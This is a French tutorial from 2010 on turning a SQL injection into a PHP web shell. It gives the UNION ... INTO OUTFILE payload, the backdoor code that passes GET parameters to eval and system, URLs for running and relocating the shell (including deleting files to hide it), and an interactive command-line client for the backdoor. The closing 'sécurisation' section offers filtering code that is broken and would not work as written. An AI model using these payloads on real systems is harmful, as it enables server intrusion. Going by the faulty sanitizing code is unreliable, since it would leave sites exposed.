0x01. EN TEMPS NORMAL
Inutile d'expliquer l'injection SQL, elle est très bien expliquée et sur beaucoup de sites Internet. Voici un très court résumé par l'exemple :
-- La requête en temps normal SELECT login,password FROM users WHERE id = 1 -- La requête modifiée pour qu'elle affiche tout. La condition est invalidée en ajoutant une condition toujours vraie. -- id = 1 OR 1=1 SELECT login,password FROM users WHERE id = 1 OR 1=1
Nous voulons injecter une backdoor, notre injection doit donc ressembler à :
SELECT login,password FROM `users` WHERE id =1 OR 1=1 UNION SELECT '<pre><? if(isset($_GET["php"]))eval($_GET["php"]); if(isset($_GET["cmd"]))system($_GET["cmd"])or exec($_GET["cmd"]); ?></pre>',0,0 INTO OUTFILE '/var/www/tests/.b.php'
Seulement avec le addslashes, la requête ne s'exécutera pas car elle sera alors :
1 UNION SELECT /'<pre><? if(isset($_GET[/"php/"]))eval($_GET[/"php/"]);if(isset($_GET[/"cmd/"]))system($_GET[/"cmd/"])or exec($_GET[/"cmd/"]); ?></pre>/',0,0 INTO OUTFILE /'/var/www/tests/.b.php/'
0x02. EXPLOITATION
Pour exploiter la backdoor, c'est très simple, il suffit d'utiliser les paramètres php ou cmd :
http://monsite-vulnerable.local/backdoor.php?cmd=ifconfig -ou- http://monsite-vulnerable.local/backdoor.php?cmd=echo "code php exécuté";
Le mieux étant de trouver un emplacement et un nom plus discret :
http://monsite-vulnerable.local/css/index.php?cmd=echo "code php exécuté";
Si le dossier css est protégé ou possède déjà un index.php, c'est simple :
http://monsite-vulnerable.local/backdoor.php?cmd=rm /var/www/monsite-vulnerable.local/css/index.php http://monsite-vulnerable.local/backdoor.php?cmd=rm /var/www/monsite-vulnerable.local/css/.htaccess http://monsite-vulnerable.local/backdoor.php?cmd=rm /var/www/monsite-vulnerable.local/backdoor.php
Puis de le réinjecter au bon endroit :
http://monsite-vulnerable.local/css/index.php?cmd=echo "code php exécuté";
Le code de la backdoor est relativement simple :
<pre> <? if(isset($_GET["php"])) @eval($_GET["php"]); if(isset($_GET["cmd"])) @system($_GET["cmd"]) or @exec($_GET["cmd"]); ?> </pre>
Ou mieux, un client en ligne de commande (source Hackerz News Magazine n°32) :
<? error_reporting(0); $URL = "http://tests.localhost/.b.php?cmd="; $SEP1 = "<pre>"; $SEP2 = "</pre>"; function hex($string) { $i=0; $hex=""; while( $i<strlen($string) ) { $hex .= "%".dechex(ord($string[$i++])); } return $hex; } $stdin = fopen("php://stdin", "r"); $c = 0; while( $cmd != "exit" ) { echo "backdoor@server: "; $cmd = trim( fgets($stdin, 1024) ); if( strlen($cmd) < 1 ) $c++; else $c=0; if( strlen($cmd) < 1 && $c>10 ) exit; $out = file_get_contents( $URL.hex($cmd) ); $a = explode($SEP1,$out); $b = explode($SEP2,$a[1]); echo $b[0]; } fclose($stdin); ?>
0x03. SECURISATION
Pour sécuriser son site, il faut filtrer toutes les variables obtenues par POST, GET, mais aussi par les COOKIE, les SESSION voire les entêtes HTTP vu que certaine peuvent se changer !
<? foreach( $_GET as $val => $$key ) $$key = htmlentities($var, ENT_QUOTE); foreach( $_POST as $val => $$key ) $$key = htmlentities($var, ENT_QUOTE); foreach( $_SESSION as $val => $$key ) $$key = htmlentities($var, ENT_QUOTE); foreach( $_COOKIE as $val => $$key ) $$key = htmlentities($var, ENT_QUOTE); ?>
Après selon la variable on peut faire un filtre plus agressif :
<? $id = intval( $id ); if( preg_match( "/([a-zA-Z0-9/.]){4,12}/", $page) ) $page = $_GET["page"]; ?>
=> Écrit par : Nicolas, le 22 novembre 2010